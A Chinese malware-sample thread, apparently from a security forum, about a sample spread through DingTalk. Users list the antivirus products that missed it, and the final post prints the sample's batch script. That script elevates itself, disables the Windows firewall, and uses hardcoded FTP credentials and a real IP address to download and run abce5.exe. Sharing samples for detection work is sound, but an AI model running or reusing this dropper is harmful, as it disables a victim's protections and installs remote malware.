钉钉上传播的样本

显示全部楼层 · 发表于 2024-3-11 14:24:47

显示全部楼层 · 发表于 2024-3-11 14:28:29

卡巴miss

显示全部楼层 · 发表于 2024-3-11 14:37:33

毛豆miss

显示全部楼层 · 发表于 2024-3-11 14:48:14

本帖最后由 sanhu35 于 2024-3-11 14:51 编辑

动作。没后续了

显示全部楼层 · 发表于 2024-3-11 15:25:30

sanhu35 发表于 2024-3-11 14:48
动作。没后续了

虚拟机没有d盘吧。

显示全部楼层 · 发表于 2024-3-11 15:33:04

di all

显示全部楼层 · 发表于 2024-3-11 15:35:07

江民

显示全部楼层 · 发表于 2024-3-11 15:36:00

显示全部楼层 · 发表于 2024-3-11 16:49:52

本帖最后由祸兮福所倚于 2024-3-11 17:03 编辑

清空

显示全部楼层 · 发表于 2024-3-11 18:22:53

cls
%1 start "" mshta vbscript:CreateObject("Shell.Application").ShellExecute("%~s0","::","%~dp0","runas",0)(window.close)&&exit
DeviceCredentialDeployment
cd /d "%~dp0"
NetSh Advfirewall set allprofiles state off
set ftpUser=laode168168
set ftpPass=lao12345
set ftpIp=118.99.40.68
set ftpFolder=/
set LocalFolder=D:\
echo open %ftpIp% > abc5.txt
echo user %ftpUser% %ftpPass% >> abc5.txt
echo cd %ftpFolder% >> abc5.txt
echo lcd %LocalFolder% >>abc5.txt
echo prompt off >>abc5.txt
echo bin >> abc5.txt
echo get abce5.exe >> abc5.txt
echo bye >> abc5.txt
ftp -n -s:abc5.txt
del abc5.txt
echo neterr > D:\data.dat
d:\abce5.exe

复制代码

都是明文下载的

[病毒样本] 钉钉上传播的样本